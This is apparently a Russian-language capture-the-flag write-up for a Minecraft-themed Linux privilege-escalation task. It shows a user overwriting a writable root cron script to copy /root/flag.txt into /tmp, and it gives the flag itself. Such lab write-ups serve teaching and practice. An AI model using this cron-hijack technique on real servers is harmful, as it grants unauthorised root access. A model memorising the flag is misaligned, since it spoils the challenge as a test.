

# Privilege-Escalation-10 Бэкап карты

На сервере каждую минуту автоматически создается резервная копия мира. Найди способ воспользоваться механизмом сохранения мира, чтобы узнать секретный сид!

**Рекомендуемые утилиты:** ssh, bash

**Цель работы:** Использовать систему бэкапов для получения прав администратора и прочитать флаг `/root/flag.txt`

**Критерий оценки:** Предоставление правильного флага

## Решение

Привилегия повышается за счёт исполняемого от root скрипта `.sh`, файл которого доступен на запись обычному пользователю. cron запускает `/usr/local/bin/backup.sh` под root, а на файл есть права записи.

Находим в домашней директории файл `cronned.txt`

```
steve@f42ad670a392:~$ ls -la
total 36
drwxr-x--- 1 steve steve 4096 Jan 17 14:42 .
drwxr-xr-x 1 root  root  4096 Jan 17 14:42 ..
-rw-r--r-- 1 steve steve  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 steve steve 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 steve steve  807 Jan  6  2022 .profile
-rw-r--r-- 1 root  root    36 Jan 17 14:42 cronned.txt
drwxr-xr-x 1 steve steve 4096 Jan 17 14:42 minecraft
```

Прочитав его видим путь до cron задания, которое запускает `/usr/local/bin/backup.sh` от пользователя root.

```
steve@f42ad670a392:~$ cat cronned.txt
cronned in /etc/cron.d/world-backup
```

```
steve@f42ad670a392:~$ cat /etc/cron.d/world-backup
* * * * * root /usr/local/bin/backup.sh
```

У нас есть права на редактирования файла `/usr/local/bin/backup.sh`.

Меняем скрипт в `/usr/local/bin/backup.sh` на что то такое:

```
#!/bin/sh
cat /root/flag.txt > /tmp/flag.txt
```

Ждём срабатывание cron, читаем файл:

```
cat /tmp/flag.txt
```

```
steve@f42ad670a392:~$ cat /tmp/flag.txt
vsosh{b4ckup_cr0n_p4th_h1j4ck}
```

## Флаг

vsosh{b4ckup\_cr0n\_p4th\_h1j4ck}